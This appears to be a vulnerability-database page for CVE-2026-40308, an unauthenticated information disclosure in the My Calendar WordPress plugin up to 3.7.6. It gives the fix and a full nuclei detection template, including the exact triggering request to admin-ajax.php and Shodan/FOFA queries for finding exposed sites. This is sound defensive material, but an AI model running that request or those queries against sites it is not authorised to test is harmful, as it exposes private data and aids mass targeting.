HexBrain

Browse / CVEs / CVE-2026-40308

CVE-2026-40308· joedolson / my-calendar· CWE-639

My Calendar WordPress Plugin - Information Disclosure

highseverity
0.9%likelihood of exploitation, next 30 days
61%of all CVEs are less likely
Readycheck to confirm it

My Calendar WordPress plugin <= 3.7.6 contains an injection vulnerability caused by unvalidated user input passed to parse_str() in mc_ajax_mcjs_action endpoint, letting unauthenticated attackers access or crash sites via switch_to_blog(), exploit requires WordPress Multisite or Single Site setup.

Impact

Unauthenticated attackers can access private events on multisite or cause denial of service on single site installations.

Fix

Update to version 3.7.7 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/my-calendar/readme.txt
Positive when: contains "My Calendar" and "Stable tag:"
Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=mcjs_action&behavior=loadupcoming&args&site=1
Positive when: compare_versions(version, "<= 3.7.6") and contains_all(body, "\"success\":1", "response") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-40308 -u <target>

The full check
id: CVE-2026-40308

info:
  name: My Calendar WordPress Plugin - Information Disclosure
  author: theamanrawat
  severity: high
  description: |
    My Calendar WordPress plugin <= 3.7.6 contains an injection vulnerability caused by unvalidated user input passed to parse_str() in mc_ajax_mcjs_action endpoint, letting unauthenticated attackers access or crash sites via switch_to_blog(), exploit requires WordPress Multisite or Single Site setup.
  impact: |
    Unauthenticated attackers can access private events on multisite or cause denial of service on single site installations.
  remediation: |
    Update to version 3.7.7 or later.
  reference:
    - https://github.com/joedolson/my-calendar/security/advisories/GHSA-2mvx-f5qm-v2ch
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40308
  classification:
    cve-id: CVE-2026-40308
    epss-score: 0.00932
    epss-percentile: 0.60986
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 2
    vendor: joedolson
    product: my-calendar
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/my-calendar/"
    fofa-query: body="/wp-content/plugins/my-calendar/" && title="WordPress"
  tags: cve,cve2026,wordpress,wp-plugin,my-calendar,idor,information-disclosure

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/my-calendar/readme.txt"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "My Calendar"
          - "Stable tag:"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?m)Stable tag:\s*([0-9.]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=mcjs_action&behavior=loadupcoming&args&site=1"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "<= 3.7.6")'
          - 'contains_all(body, "\"success\":1", "response")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from